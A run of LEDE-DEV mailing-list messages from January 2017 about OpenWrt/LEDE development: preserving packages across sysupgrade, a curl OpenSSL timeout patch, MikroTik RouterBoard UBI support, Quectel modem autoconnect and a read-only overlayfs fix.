From luizluca at gmail.com  Sat Jan  7 17:37:19 2017
From: luizluca at gmail.com (Luiz Angelo Daros de Luca)
Date: Sat, 7 Jan 2017 23:37:19 -0200
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed
 packages
In-Reply-To: <a8430d30-92cc-e398-5ef0-f92d5c0e96c3@gmail.com>
References: <20170107180428.GA29356@ugly>
 <a8430d30-92cc-e398-5ef0-f92d5c0e96c3@gmail.com>
Message-ID: <CAJq09z7xW-5t535+VwEVPw1QOgqK2nRhzktF-Bg__pzwe6bwzw@mail.gmail.com>

When I do upgrades, I save the list of "extra" installed packages
(looking at /overlay/upper/usr/lib/opkg/info/*.control).
Maybe we could save this "list of extra packages" when the
configuration is saved (like before the upgrade) somewhere.
It's useful and very "cheap".

When this "list" is present (like after a conf restore or system
upgrade), we could provide an easy script to reinstall them
and also luci could offer to reinstall them (or remove the list).
Something like:

>>>

Your previous system state included extra packages. What would you like to do?

[ignore and remove the list]
[install all listed packages]
* iftop [install]
* ifperf [install]
* ip (already installed)

<<<

My 2 cents.

Regards,

---
     Luiz Angelo Daros de Luca, Me.
            luizluca at gmail.com


From luizluca at gmail.com  Sat Jan  7 23:05:46 2017
From: luizluca at gmail.com (Luiz Angelo Daros de Luca)
Date: Sun, 8 Jan 2017 05:05:46 -0200
Subject: [LEDE-DEV] Maybe inconsistency on ramips/rt5350.dtsi intc resets
Message-ID: <CAJq09z7M1v3j49W5xhaLVUt2pHJuYC81AE+DTq87FrouM1=Jow@mail.gmail.com>

Hello,

I was comparing some DTS files and their respective datasheet trying
to understand what goes where. I found this reset info on rt5350.dtsi

target/linux/ramips/dts/rt5350.dtsi:

          intc: intc at 200 {
              compatible = "ralink,rt5350-intc", "ralink,rt2880-intc";
              reg = <0x200 0x100>;

              resets = <&rstctrl 19>;
              reset-names = "intc";

              interrupt-controller;
              #interrupt-cells = <1>;

              interrupt-parent = <&cpuintc>;
              interrupts = <2>;
          };

While datasheet says:

https://cdn.sparkfun.com/datasheets/Wireless/WiFi/RT5350.pdf (page 26):

     9 RW INTC_RST 0: De-assert reset. 1: Reset the Interrupt
Controller block. 0x0

Should that "19" be "9"? I noticed that because that part is missing
on its cousin SoC rt3352.dtsi
Should it also be included in rt3352.dtsi (datasheet is equal about this)?

Regards,


---
     Luiz Angelo Daros de Luca, Me.
            luizluca at gmail.com


From giu.lippolis at gmail.com  Sun Jan  8 02:57:00 2017
From: giu.lippolis at gmail.com (Giuseppe Lippolis)
Date: Sun, 8 Jan 2017 11:57:00 +0100
Subject: [LEDE-DEV] spi-tools failure
Message-ID: <005701d2699d$f0afca00$d20f5e00$@gmail.com>

Same error using the spidev_test tool:

root at lede:/tmp# spidev_test -D /dev/spidev1.0 -s 1000000
spi mode: 0x3
bits per word: 8
max speed: 1000000 Hz (1000 KHz)
can't send spi message: Invalid argument
Aborted


The error occurs on this system call:
	ret = ioctl(fd, SPI_IOC_MESSAGE(1), &tr);
	if (ret < 1)
		pabort("can't send spi message");




From oswald.buddenhagen at gmx.de  Sun Jan  8 03:50:08 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Sun, 8 Jan 2017 12:50:08 +0100
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed
 packages
In-Reply-To: <a8430d30-92cc-e398-5ef0-f92d5c0e96c3@gmail.com>
References: <20170107180428.GA29356@ugly>
 <a8430d30-92cc-e398-5ef0-f92d5c0e96c3@gmail.com>
Message-ID: <20170108115008.GA8750@ugly>

On Sat, Jan 07, 2017 at 11:31:01PM +0100, Magnus Kroken wrote:
> On 07.01.2017 19.04, Oswald Buddenhagen wrote:
> > the idea would be to simply dump the list of user-installed packages into
> > a config file which is preserved by sysupgrade. now, firstboot would see
> > that file and start opgk with it - that's usually going to just work, as
> > the network configuration is preserved as well.
> 
> 1. This relies on all packages and kernel modules needed to connect to 
> the internet being part of the image.
>
this is true, but not a deal breaker. the fact that not all users would
benefit from the feature doesn't mean that it shouldn't be provided. the
implementation is certainly cheap enough.

> 2. If you do build a custom image without all your packages, packages 
> you download from LEDE servers may be incompatible for various reasons - 
> kernel version, library versions, compile-time defined options and so on.
> 
it seems rather obvious to me that the feature's configuration would be
customized with the image itself.

> the default packages should be limited to what is useful and necessary
> to almost everyone - otherwise everyone would have lots of useless
> packages in their image that take up valuable space
>
that's correct, though i'd be surprised if supporting all reasonably
common _basic_ network access technologies would require more than a few
tens of kilobytes.

> (and devices with 4MB flash would be unsupported).
> 
well, you're losing that fight anyway.

> > of course, this immediately prompts the next question: why doesn't
> > luci's flash operations page have an auto-download option for the
> > sysupgrade image? the locations of the package feeds are also inside
> > the image, and automating the integrity check isn't rocket science,
> > either.
> 
> There have been recent discussions about a web interface to the image
> builder, based on or similar to Meshkit by Freifunk [1].

> LuCI/sysupgrade could add a feature to connect to this service, submit
> a list of installed packages and other needed information, and
> automatically download an image built with these packages.
> 
that's an interesting concept, but i don't think it scales. i'd limit it
to a pre-defined set of network configurations (which could be
referenced from an ISP table). packages beyond network access should be
still obtained separately. that makes it somewhat realistic to cache the
images and distribute them to multiple users.


anyway, there are more options besides downloading pre-built complete
images (which inherently requires lots of server infrastructure) and
amending the installation after the upgrade (which inherently has a
bootstrap problem if the image lacks required features):

- let the upgrade process download the required packages and append
  their unpacked contents to the freshly flashed image *before* reboot.
  that's what sysupgrade does to preserve the config files anyway.

- modern browsers actually provide pretty much a complete operating
  system environment. that means that it would be feasible to do the
  image building (from downloaded images and packages) within the client
  browser, and upload a complete image to the device for flashing.
  obviously, this comes with some caveats:
  - you can't do unattended upgrades this way. i guess many openwrt
    users would prefer it that way, but having the option to fully
    automate it (and even default to it within stable series) seems
    desirable.
  - i guess most openwrt developers aren't sufficiently familiar with
    these technologies to pull this off in reasonable time and to
    maintain it.


and now i had yet another idea, which would solve the upgrade problem
for me nicely ... i'll start another thread.


From francesco.borromini at inventati.org  Sun Jan  8 04:48:22 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Sun,  8 Jan 2017 13:48:22 +0100
Subject: [LEDE-DEV] [PATCH] curl: vtls: s/SSLEAY/OPENSSL
Message-ID: <20170108124822.1807-1-francesco.borromini@inventati.org>

Fixed an old leftover use of the USE_SSLEAY define which would make a
socket get removed from the applications sockets to monitor when the
multi_socket API was used, leading to timeouts.

Pulled directly from upstream. Upstream curl bug: #1174

Signed-off-by: Stijn Segers <francesco.borromini at inventati.org>
---
 lib/vtls/vtls.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/vtls/vtls.c b/lib/vtls/vtls.c
index b808e1c..707f24b 100644
--- a/lib/vtls/vtls.c
+++ b/lib/vtls/vtls.c
@@ -484,7 +484,7 @@ void Curl_ssl_close_all(struct Curl_easy *data)
   curlssl_close_all(data);
 }
 
-#if defined(USE_SSLEAY) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
+#if defined(USE_OPENSSL) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
     defined(USE_DARWINSSL) || defined(USE_NSS)
 /* This function is for OpenSSL, GnuTLS, darwinssl, and schannel only. */
 int Curl_ssl_getsock(struct connectdata *conn, curl_socket_t *socks,
@@ -518,7 +518,7 @@ int Curl_ssl_getsock(struct connectdata *conn,
   (void)numsocks;
   return GETSOCK_BLANK;
 }
-/* USE_SSLEAY || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
+/* USE_OPENSSL || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
 #endif
 
 void Curl_ssl_close(struct connectdata *conn, int sockindex)


From oswald.buddenhagen at gmx.de  Sun Jan  8 04:53:09 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Sun, 8 Jan 2017 13:53:09 +0100
Subject: [LEDE-DEV] externalizing package management?
Message-ID: <20170108125309.GB8750@ugly>

moin,

openwrt aims to be a "proper" linux distribution, and therefore comes
with on-device package management.

but we know that to be a problem for the more space-constrained devices.
also, the space constraints make the package manager pretty dumb by
modern standards. both issues have been raised in recent threads.

so how about optionally externalizing (package) management?

a typical admin session would look like this:
- select target device
- sync with device
  - to connect with pre-existing devices.
  - to still support direct on-device modifications, though it's
    conceivable to build images which don't provide the tools for that.
  - to support multiple management machines, even if realistically
    speaking most devices are administered from a single desktop/laptop
    anyway.
- do modifications with powerful desktop tools
- sync back to device
  - individual files
  - or create and flash image
- tell device to reboot, or at least (re-)load some services (the latter
  is obviously a lot more work to implement)

the syncing itself should be probably just done via ssh (mostly fish, as
known from midnight commander), as it also offers the option to invoke
sysupgrade, reboot, and to start/reload services without using an
additional protocol.

with this concept, it would be also possible to integrate the
kernel/rootfs into the package management, which would improve
usability. and obviously, it would nicely solve the system upgrade
problem, which is how i arrived here in the first place.

thoughts?


From s.l-h at gmx.de  Sun Jan  8 05:16:55 2017
From: s.l-h at gmx.de (Stefan Lippers-Hollmann)
Date: Sun, 8 Jan 2017 14:16:55 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <20170108125309.GB8750@ugly>
References: <20170108125309.GB8750@ugly>
Message-ID: <20170108141655.24d6c7c3@mir>

Hi

On 2017-01-08, Oswald Buddenhagen wrote:
> moin,
> 
> openwrt aims to be a "proper" linux distribution, and therefore comes
> with on-device package management.
> 
> but we know that to be a problem for the more space-constrained devices.
> also, the space constraints make the package manager pretty dumb by
> modern standards. both issues have been raised in recent threads.
> 
> so how about optionally externalizing (package) management?
> 
> a typical admin session would look like this:
> - select target device
> - sync with device
>   - to connect with pre-existing devices.
>   - to still support direct on-device modifications, though it's
>     conceivable to build images which don't provide the tools for that.
>   - to support multiple management machines, even if realistically
>     speaking most devices are administered from a single desktop/laptop
>     anyway.
> - do modifications with powerful desktop tools
> - sync back to device
>   - individual files
>   - or create and flash image
> - tell device to reboot, or at least (re-)load some services (the latter
>   is obviously a lot more work to implement)

Using imagebuilder (and keeping the existing configs, which is the 
default for sysupgrade) seems to tick all of your boxes, doesn't it?

> the syncing itself should be probably just done via ssh (mostly fish, as
> known from midnight commander), as it also offers the option to invoke
> sysupgrade, reboot, and to start/reload services without using an
> additional protocol.

Even if you use imagebuilder, nothing prevents you from doing manual
changes on top, using plain scp/ sftp compatible tools.

> with this concept, it would be also possible to integrate the
> kernel/rootfs into the package management, which would improve
> usability. and obviously, it would nicely solve the system upgrade
> problem, which is how i arrived here in the first place.

Same here, sysupgrade images do update the kernel as well, so where's
the functional difference between the status quo (using imagebuilder)
and your envisioned plan (other than nomenclature and having to reboot
for 'package updates' == flashing new/ modified sysupgrade images, but
that's merely an implementation detail and unavoidable if you want/ 
need to make use of squashfs' compression advantage)?

Regards
	Stefan Lippers-Hollmann
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 833 bytes
Desc: Digitale Signatur von OpenPGP
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170108/c4a20348/attachment-0001.sig>

From s.l-h at gmx.de  Sun Jan  8 05:39:05 2017
From: s.l-h at gmx.de (Stefan Lippers-Hollmann)
Date: Sun, 8 Jan 2017 14:39:05 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <20170108141655.24d6c7c3@mir>
References: <20170108125309.GB8750@ugly>
	<20170108141655.24d6c7c3@mir>
Message-ID: <20170108143905.22456896@mir>

Hi

On 2017-01-08, Stefan Lippers-Hollmann wrote:
> On 2017-01-08, Oswald Buddenhagen wrote:
[...]
> openwrt aims to be a "proper" linux distribution, and therefore comes
> with on-device package management.
> 
> but we know that to be a problem for the more space-constrained devices.
> also, the space constraints make the package manager pretty dumb by
> modern standards. both issues have been raised in recent threads.
> 
> so how about optionally externalizing (package) management?
[...]
> Same here, sysupgrade images do update the kernel as well, so where's
> the functional difference between the status quo (using imagebuilder)
> and your envisioned plan (other than nomenclature and having to reboot
> for 'package updates' == flashing new/ modified sysupgrade images, but
> that's merely an implementation detail and unavoidable if you want/ 
> need to make use of squashfs' compression advantage)?

On the other end of the spectrum, high-end (mostly armhf based) devices
are starting to roll up the market with flash in the multiple hundreds
or even gigabyte regions[1], finally making full in-place upgrades and 
on-device package management an option (only limited by opkg's abilities 
and the in-place upgrade/ downgrade paths provided by the current 
packaging practices (maintainer scripts, library versioning, etc.), so 
for these you might even want/ need a(n even) more universal package 
manager on the devices themselves).

Regards
	Stefan Lippers-Hollmann

[1]	* mvebu (turris omnia, 8 GB flash, 1-2 GB RAM)
	* IPQ8065 (Netgear Nighthawk X4s/ r7800, 128 MB flash, 
          512 MB RAM)
	* IPQ8065 (ZyXEL NBG6817, 4 GB flash, 512 MB RAM)
	* pretty much all sunxi devboards, with NAND and sdhc
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 833 bytes
Desc: Digitale Signatur von OpenPGP
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170108/f75a1135/attachment.sig>

From nbd at nbd.name  Sun Jan  8 05:54:33 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sun, 8 Jan 2017 14:54:33 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
Message-ID: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>

Hi all,

I've just pushed the code for converting ar71xx routerboard support to
UBI + sysupgrade to my staging tree at:
https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary

So far I've only managed to test it on RB 912UAG-5HPnD, other devices
are still untested. If you have any affected hardware, please test the
new code with a fresh build from that tree (make sure you reset your
config) and let me know if it works.

Installation is now done only over sysupgrade (from the initramfs
image), the old wget2nand script and rootfs tarballs are gone.

- Felix


From codemarauder at gmail.com  Sun Jan  8 06:23:05 2017
From: codemarauder at gmail.com (Nishant Sharma)
Date: Sun, 08 Jan 2017 19:53:05 +0530
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
Message-ID: <1FB7F9A6-A11A-45F3-8205-5E04D78BE754@gmail.com>

Hi,

On 8 January 2017 7:24:33 PM IST, Felix Fietkau <nbd at nbd.name> wrote:
>Hi all,
>
>I've just pushed the code for converting ar71xx routerboard support to
>UBI + sysupgrade to my staging tree at:
>https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>
>So far I've only managed to test it on RB 912UAG-5HPnD, other devices
>are still untested. If you have any affected hardware, please test the
>new code with a fresh build from that tree (make sure you reset your
>config) and let me know if it works.
>

I seem to have missed the previous discussion. Where could I find a list of the affected hardware? 

I can test on RB951Ui-2HnD if it is in the list.

Regards,
Nishant


-- 
Sent from my Android device with K-9 Mail. Please excuse my brevity.


From francesco.borromini at inventati.org  Sun Jan  8 06:29:40 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Sun,  8 Jan 2017 15:29:40 +0100
Subject: [LEDE-DEV] [PATCH v2] Curl: fix HTTPS network timeouts with OpenSSL
Message-ID: <20170108142940.17831-1-francesco.borromini@inventati.org>

Fixes HTTPS timeouts with OpenSSL. Upstream curl bug #1174.

Upstream commit message:

Fixed an old leftover use of the USE_SSLEAY define which would make a
socket get removed from the applications sockets to monitor when the
multi_socket API was used, leading to timeouts.

Signed-off-by: Stijn Segers <francesco.borromini at inventati.org>
---
 .../curl/patches/320-curl-https-openssl-fix.patch  | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)
 create mode 100644 package/network/utils/curl/patches/320-curl-https-openssl-fix.patch

diff --git a/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch b/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch
new file mode 100644
index 0000000000..9ecb2a95f8
--- /dev/null
+++ b/package/network/utils/curl/patches/320-curl-https-openssl-fix.patch
@@ -0,0 +1,22 @@
+diff --git a/lib/vtls/vtls.c b/lib/vtls/vtls.c
+index b808e1c..707f24b 100644
+--- a/lib/vtls/vtls.c
++++ b/lib/vtls/vtls.c
+@@ -484,7 +484,7 @@ void Curl_ssl_close_all(struct Curl_easy *data)
+   curlssl_close_all(data);
+ }
+ 
+-#if defined(USE_SSLEAY) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
++#if defined(USE_OPENSSL) || defined(USE_GNUTLS) || defined(USE_SCHANNEL) || \
+     defined(USE_DARWINSSL) || defined(USE_NSS)
+ /* This function is for OpenSSL, GnuTLS, darwinssl, and schannel only. */
+ int Curl_ssl_getsock(struct connectdata *conn, curl_socket_t *socks,
+@@ -518,7 +518,7 @@ int Curl_ssl_getsock(struct connectdata *conn,
+   (void)numsocks;
+   return GETSOCK_BLANK;
+ }
+-/* USE_SSLEAY || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
++/* USE_OPENSSL || USE_GNUTLS || USE_SCHANNEL || USE_DARWINSSL || USE_NSS */
+ #endif
+ 
+ void Curl_ssl_close(struct connectdata *conn, int sockindex)
-- 
2.11.0



From daniel at makrotopia.org  Sun Jan  8 06:35:52 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Sun, 8 Jan 2017 15:35:52 +0100
Subject: [LEDE-DEV] per-device rootfs generated on buildbots
Message-ID: <20170108143550.GA1770@makrotopia.org>

Hi!

While testing the current snapshot builds I realized that for some
reason the additional default packages to be included for each board
aren't selected, ie. DEVICE_PACKAGES seems to be ignored in snapshot
builds.
Ie. eventhough kmod-rtc-ds1307 is set in DEVICE_PACKAGES for the akitio
board (oxnas), the package doesn't end up in the generated rootfs and
initramfs image for that device. Looking at config.seed, everything
looks fine:
CONFIG_TARGET_MULTI_PROFILE=y
CONFIG_TARGET_ALL_PROFILES=y
...
CONFIG_TARGET_PER_DEVICE_ROOTFS=y

Any idea? Does that happen on purpose? Is it a bug or a feature?

Cheers

Daniel


From oswald.buddenhagen at gmx.de  Sun Jan  8 06:39:43 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Sun, 8 Jan 2017 15:39:43 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <20170108143905.22456896@mir>
 <20170108141655.24d6c7c3@mir>
Message-ID: <20170108143943.GA19176@ugly>

On Sun, Jan 08, 2017 at 02:16:55PM +0100, Stefan Lippers-Hollmann wrote:
> Using imagebuilder (and keeping the existing configs, which is the 
> default for sysupgrade) seems to tick all of your boxes, doesn't it?
> 
not quite. obviously, wrapping the image builder into a script solves
the upgrade problem i started out with, and is in fact functionally
equivalent with the browser-based proposal i made (except that it
requires expertize most "regular" users won't have).
however, this thread is concerned with _interactive_ use. the idea is to
make management of the device as comfortable as of a desktop system. the
question how changes are committed to the device is of secondary concern
from a user perspective.

On Sun, Jan 08, 2017 at 02:39:05PM +0100, Stefan Lippers-Hollmann wrote:
> On the other end of the spectrum, high-end (mostly armhf based) devices
> are starting to roll up the market with flash in the multiple hundreds
> or even gigabyte regions[1], finally making full in-place upgrades and 
> on-device package management an option (only limited by opkg's abilities 
> and the in-place upgrade/ downgrade paths provided by the current 
> packaging practices (maintainer scripts, library versioning, etc.), so 
> for these you might even want/ need a(n even) more universal package 
> manager on the devices themselves).
> 
packaging practices aren't a concern here. typically, an upgrade would
start out with creating a new volume inside a CoW file system, doing all
modifications inside it, and later switching to it atomically.
the limiting factor here is the boot loader, as with the above model,
the kernel needs to be within that file system if it's supposed to be
covered as well. a less ambitious approach is deploying the kernel to
separate ubi volumes, which is what is actually already being done by
some devices.


From malaakso at elisanet.fi  Sun Jan  8 06:39:34 2017
From: malaakso at elisanet.fi (Matti Laakso)
Date: Sun, 8 Jan 2017 14:39:34 +0000
Subject: [LEDE-DEV] Quectel EC20 QMI autoconnect issues [Was:
	Re:	[LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]
In-Reply-To: <20170107234422.GB5048@ibawizard.net>
References: <1481174095-15924-1-git-send-email-nledovskikh@gmail.com>
 <8213c300-b7ef-510b-47e8-8ad586be3f7b@elisanet.fi>
 <20161208140412.GC17320@ibawizard.net> <877f7asbft.fsf@miraculix.mork.no>
 <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net> <20170107234422.GB5048@ibawizard.net>
Message-ID: <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>

> Petr ?tetiar <ynezz at true.cz> [2016-12-12 10:06:59]:
> 
> > I'm going to ask Quectel about this issue and will share the results.
> 
> So it ended with the following result: "I raceived the additional informations that it?s not well to use autoconnect feature on EC20 and EC25. R&D will work to solve this, but it can take too much time. Is it possible for you to use it without autoconnect?"

I'm almost done with checking the connection state using a proto_run_command with a simple script running uqmi --get-data-status periodically. If the check fails, the script dies and netifd should restart the connection. Then we hopefully don't need autoconnect anymore.

> 
> And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes a lot of things crystal clear :-)
> 

That's an interesting talk, thanks for the note!

Matti

From bsdwebsol at gmail.com  Sun Jan  8 06:44:28 2017
From: bsdwebsol at gmail.com (B. Cook)
Date: Sun, 8 Jan 2017 09:44:28 -0500
Subject: [LEDE-DEV] newbie opkg upgrading questions..
In-Reply-To: <20170104082817.GF32003@medion.lan>
References: <CAJM=yd=0ana5XE0RxtZwrwnRx_o4OV-KaHKZU3BTcxOU+8T+jQ@mail.gmail.com>
 <CAECwjAhKHohvUyk91Gzja5z7NaizYUue3UBzduDPZYbChV7dCg@mail.gmail.com>
 <20170104082817.GF32003@medion.lan>
Message-ID: <CAJM=ydm2GVmisD8B0wZfPHsguAV8FD=O6QmmpoR04=OfQVUyAg@mail.gmail.com>

gmail thankfully moved these to spam..

:/

Sorry for the delay..

grep '/ overlay ro,' /proc/mounts
overlayfs:/overlay / overlay
ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work 0
0

I never noticed this under the graphic motd login before:

BusyBox v1.25.1 () built-in shell (ash)

     _________
    /        /\      _    ___ ___  ___
   /  LE    /  \    | |  | __|   \| __|
  /    DE  /    \   | |__| _|| |) | _|
 /________/  LE  \  |____|___|___/|___|                      lede-project.org
 \        \   DE /
  \    LE  \    /  -----------------------------------------------------------
   \  DE    \  /    Reboot (SNAPSHOT, r2701-c5ca304)
    \________\/    -----------------------------------------------------------

Your JFFS2-partition seems full and overlayfs is mounted read-only.
Please try to remove files from /overlay/upper/... and reboot!

Filesystem                Size      Used Available Use% Mounted on
tmpfs                    61.2M    808.0K     60.4M   1% /tmp
overlayfs:/overlay       28.4M      2.6M     25.9M   9% /
tmpfs                   512.0K         0    512.0K   0% /dev

I ran this as root.. (seemed proper..)
mount -t overlayfs -o
rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work

 mount
proc on /proc type proc (ro,noatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
overlayfs:/overlay on / type overlay
(ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)
tmpfs on /dev type tmpfs (ro,relatime,size=512k,mode=755)
devpts on /dev/pts type devpts (ro,relatime,mode=600)

Mount still says read only

root at wzr-ag300h:~# mount -t overlayfs -o
rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work
root at wzr-ag300h:~# echo $?
0
root at wzr-ag300h:~# mount | grep overlayfs
overlayfs:/overlay on / type overlay
(ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)



On Wed, Jan 4, 2017 at 3:28 AM, Bastian Bittorf <bb at npl.de> wrote:
> * Yousong Zhou <yszhou4tech at gmail.com> [04.01.2017 09:09]:
>> > root at wzr-ag300h:~# mount
>> > proc on /proc type proc (ro,noatime)
>> > tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
>> > overlayfs:/overlay on / type overlay
>> > (ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)
>> > tmpfs on /dev type tmpfs (ro,relatime,size=512k,mode=755)
>> > devpts on /dev/pts type devpts (ro,relatime,mode=600)
>
> in /etc/profile there is a check which should
> warn about this special issue on login. Mr. Cook, can
> you please post the output of /proc/mounts ?
>
> what is the output of:
> grep '/ overlay ro,' /proc/mounts
>
> thanks & bye, bastian



-- 
Sent from my Android device

Ability is what you are capable of doing.
Motivation determines what you do.
Attitude determines how well you do it.


From bb at npl.de  Sun Jan  8 07:45:32 2017
From: bb at npl.de (Bastian Bittorf)
Date: Sun, 8 Jan 2017 16:45:32 +0100
Subject: [LEDE-DEV] newbie opkg upgrading questions..
In-Reply-To: <CAJM=ydm2GVmisD8B0wZfPHsguAV8FD=O6QmmpoR04=OfQVUyAg@mail.gmail.com>
References: <CAJM=yd=0ana5XE0RxtZwrwnRx_o4OV-KaHKZU3BTcxOU+8T+jQ@mail.gmail.com>
 <CAECwjAhKHohvUyk91Gzja5z7NaizYUue3UBzduDPZYbChV7dCg@mail.gmail.com>
 <20170104082817.GF32003@medion.lan>
 <CAJM=ydm2GVmisD8B0wZfPHsguAV8FD=O6QmmpoR04=OfQVUyAg@mail.gmail.com>
Message-ID: <20170108154532.GP32003@medion.lan>

* B. Cook <bsdwebsol at gmail.com> [08.01.2017 16:19]:
>  /________/  LE  \  |____|___|___/|___|                      lede-project.org
>  \        \   DE /
>   \    LE  \    /  -----------------------------------------------------------
>    \  DE    \  /    Reboot (SNAPSHOT, r2701-c5ca304)
>     \________\/    -----------------------------------------------------------
> 
> Your JFFS2-partition seems full and overlayfs is mounted read-only.
> Please try to remove files from /overlay/upper/... and reboot!

it clearly says: "remove files from /overlay/upper/..." and reboot.
so there is no need for "mount -rw" or things like that.

do you have a better text which should shown as help?

bye, bastian


From nbd at nbd.name  Sun Jan  8 08:12:29 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sun, 8 Jan 2017 17:12:29 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <1FB7F9A6-A11A-45F3-8205-5E04D78BE754@gmail.com>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <1FB7F9A6-A11A-45F3-8205-5E04D78BE754@gmail.com>
Message-ID: <ff785d36-81ff-62f5-c773-e98dfa1c68d9@nbd.name>

On 2017-01-08 15:23, Nishant Sharma wrote:
> Hi,
> 
> On 8 January 2017 7:24:33 PM IST, Felix Fietkau <nbd at nbd.name> wrote:
>>Hi all,
>>
>>I've just pushed the code for converting ar71xx routerboard support to
>>UBI + sysupgrade to my staging tree at:
>>https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>>
>>So far I've only managed to test it on RB 912UAG-5HPnD, other devices
>>are still untested. If you have any affected hardware, please test the
>>new code with a fresh build from that tree (make sure you reset your
>>config) and let me know if it works.
>>
> 
> I seem to have missed the previous discussion. Where could I find a list of the affected hardware? 
There was no previous discussion. Affected hardware includes any
RouterBoard using the 'mikrotik' subtarget of ar71xx.

> I can test on RB951Ui-2HnD if it is in the list.
Thanks, it's on the list.

- Felix



From david.goodenough at btconnect.com  Sun Jan  8 08:57:19 2017
From: david.goodenough at btconnect.com (David Goodenough)
Date: Sun, 8 Jan 2017 16:57:19 +0000
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
Message-ID: <2810548.t3ipzmFfYo@stargate>

On Sunday, 8 January 2017 14:54:33 GMT Felix Fietkau wrote:
> Hi all,
> 
> I've just pushed the code for converting ar71xx routerboard support to
> UBI + sysupgrade to my staging tree at:
> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
> 
> So far I've only managed to test it on RB 912UAG-5HPnD, other devices
> are still untested. If you have any affected hardware, please test the
> new code with a fresh build from that tree (make sure you reset your
> config) and let me know if it works.
> 
> Installation is now done only over sysupgrade (from the initramfs
> image), the old wget2nand script and rootfs tarballs are gone.
RIP wget2nand.  As a little bit of script I wrote a long time ago it seems
to have lasted a lot longer than I ever expected.

David
> 
> - Felix
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev




From ynezz at true.cz  Sun Jan  8 11:26:23 2017
From: ynezz at true.cz (Petr =?iso-8859-2?Q?=A9tetiar?=)
Date: Sun, 8 Jan 2017 20:26:23 +0100
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
	Re:	 Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV,
	3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
References: <20161208140412.GC17320@ibawizard.net>
 <877f7asbft.fsf@miraculix.mork.no>
 <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net> <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
Message-ID: <20170108192623.GD5048@ibawizard.net>

Adding laforge and zecke to the Cc loop.

Matti Laakso <malaakso at elisanet.fi> [2017-01-08 14:39:34]:

